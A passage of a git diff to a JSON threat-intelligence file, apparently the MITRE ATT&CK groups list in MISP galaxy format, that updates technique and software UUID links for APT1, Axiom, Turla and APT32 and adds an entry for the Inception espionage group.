"56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4455,14 +5706,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4476,14 +5727,14 @@ "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4495,6 +5746,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "fbe9387f-34e6-4828-ac28-3080020c597b", @@ -4540,7 +5798,7 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4554,7 +5812,7 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4568,7 +5826,14 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "83a766f8-1501-4b3a-a2de-2e2849e8dfc1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4677,7 +5942,7 @@ "type": "similar" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4691,14 +5956,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4712,7 +5970,7 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4726,7 +5984,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4775,7 +6033,7 @@ "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "1e9eb839-294b-48cc-b0d3-c45555a2a004", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4789,7 +6047,7 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4824,7 +6082,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4852,7 +6110,7 @@ "type": "uses" }, { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4907,6 +6165,13 @@ ], "type": "uses" }, + { + "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "aadaee0d-794c-4642-8293-7ec22a99fb1a", "tags": [ @@ -4921,13 +6186,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e51398e6-53dc-4e9f-a323-e54683d8672b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "488da8ed-2887-4ef6-a39a-5b69bc6682c6", "tags": [ @@ -4941,13 +6199,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "4900fabf-1142-4c1f-92f5-0b590e049077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662", "value": "APT1 - G0006" }, { - "description": "[Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)", + "description": "[Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti for Windows](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)", "meta": { "external_id": "G0001", "refs": [ @@ -5021,14 +6286,14 @@ "type": "uses" }, { - "dest-uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", + "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5040,11 +6305,207 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "eec23884-3fa1-4d8a-ac50-6f104d51e235", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973", "value": "Axiom - G0001" }, + { + "description": "[Inception](https://attack.mitre.org/groups/G0100) is a cyber espionage group active since at least 2014. The group has targeted multiple industries and governmental entities primarily in Russia, but has also been active in the United States and throughout Europe, Asia, Africa, and the Middle East.(Citation: Unit 42 Inception November 2018)(Citation: Symantec Inception Framework March 2018)(Citation: Kaspersky Cloud Atlas December 2014)", + "meta": { + "external_id": "G0100", + "refs": [ + "https://attack.mitre.org/groups/G0100", + "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies", + "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/" + ], + "synonyms": [ + "Inception", + "Inception Framework", + "Cloud Atlas" + ] + }, + "related": [ + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53486bc7-7748-4716-8190-e4f1fde04c53", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8caa18af-4758-4fd3-9600-e8af579e89ed", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "ead23196-d7b6-4ce6-a124-4ab4b67d81bd", + "value": "Inception - G0100" + }, { "description": "[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)’s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017) (Citation: CrowdStrike VENOMOUS BEAR) (Citation: ESET Turla Mosquito Jan 2018)", "meta": { @@ -5055,7 +6516,7 @@ "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/", "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf", - "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf", + "https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1", "https://securelist.com/introducing-whitebear/81638/", "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" ], @@ -5098,7 +6559,7 @@ "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5112,7 +6573,7 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5140,14 +6601,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5161,7 +6622,7 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5252,21 +6713,21 @@ "type": "uses" }, { - "dest-uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", + "dest-uuid": "6836813e-8ec8-4375-b459-abb388cb1a35", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5294,14 +6755,14 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5350,7 +6811,7 @@ "type": "uses" }, { - "dest-uuid": "723e3a2b-ca0d-4daa-ada8-82ea35d3733a", + "dest-uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5371,7 +6832,7 @@ "type": "uses" }, { - "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", + "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5385,7 +6846,7 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5413,7 +6874,7 @@ "type": "uses" }, { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5427,7 +6888,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5448,28 +6909,28 @@ "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5488,13 +6949,90 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "7a19ecb1-3c65-4de3-a230-993516aed6a6", "value": "Turla - G0010" }, { - "description": "[APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017) (Citation: ESET OceanLotus)", + "description": "[APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)", "meta": { "external_id": "G0050", "refs": [ @@ -5520,14 +7058,14 @@ "type": "similar" }, { - "dest-uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "dest-uuid": "92a78814-b191-47ca-909c-1ccfe3777414", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5548,7 +7086,7 @@ "type": "uses" }, { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5562,7 +7100,7 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5576,7 +7114,7 @@ "type": "uses" }, { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5590,21 +7128,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5618,7 +7142,7 @@ "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5632,14 +7156,14 @@ "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5674,7 +7198,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5688,7 +7212,7 @@ "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5702,14 +7226,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5736,13 +7253,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", "tags": [ @@ -5758,7 +7268,7 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5779,49 +7289,42 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", + "dest-uuid": "09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", + "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5835,14 +7338,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", + "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5856,7 +7359,7 @@ "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5870,7 +7373,7 @@ "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5911,13 +7414,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -5933,7 +7429,7 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5947,28 +7443,168 @@ "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + 